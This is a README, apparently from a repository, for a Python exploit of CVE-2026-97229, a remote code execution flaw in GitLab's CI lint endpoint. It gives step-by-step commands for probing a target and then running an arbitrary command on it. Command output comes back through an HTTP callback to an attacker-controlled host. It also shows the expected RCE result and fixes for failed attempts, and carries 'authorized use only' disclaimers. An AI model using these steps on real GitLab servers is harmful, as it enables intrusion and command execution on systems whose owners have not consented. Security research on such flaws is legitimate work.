noshadi-sec/cve-2026-97229Python exploit for CVE-2026-97229, a GitLab CI lint regex RCE. Creates a project, pushes a malicious CI config, triggers the lint endpoint, and retrieves command output via HTTP callback.
CVE-2026-97229 an external exploit for GitLab CI lint regex RCE. It is used only against a live GitLab target with permission. It creates a project, pushes a malicious CI configuration, triggers the CI lint endpoint, and receives command output through an HTTP callback. This is for authorized security research only.
CVE-2026-97229 External - use on your responsibility and only for the legal testing
##Research use only. Use only on your own systems or systems where you have written permission.
This tool is for a live GitLab target only. It will not work on a dead target, backup, or unreachable host.
Requirements
Save file
Save the exploit code as:
cve97229_ext.py
Create scope file
If your target is:
https://gitlab.example.local
Create scope.txt:
echo "gitlab.example.local" > scope.txt
Step 1 - Check target
Run:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "GITLAB_TOKEN"
Example:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "glpat-AbCdEf1234567890"
Good result:
"gitlab_signal": true
If version is visible, you may see:
"version": "19.4.0"
Step 2 - Run against live target
Run:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "GITLAB_TOKEN" --callback-host YOUR_IP --callback-port 8000 --command "id"
Example:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "glpat-AbCdEf1234567890" --callback-host 192.168.1.50 --callback-port 8000 --command "id"
Replace:
GITLAB_TOKEN = your GitLab token
YOUR_IP = your machine IP that the target can reach
Result
If successful, you will see:
"status": "RCE"
and output like:
"output": "uid=998(git) gid=998(git) groups=998(git)"
Common problems
out-of-scope:
Fix scope.txt.
no-write-path:
Token missing or invalid.
known-patched:
Target version is fixed.
no-callback:
Target could not connect back to you.
Check YOUR_IP, firewall, and network access.
Important
The target must be live and reachable.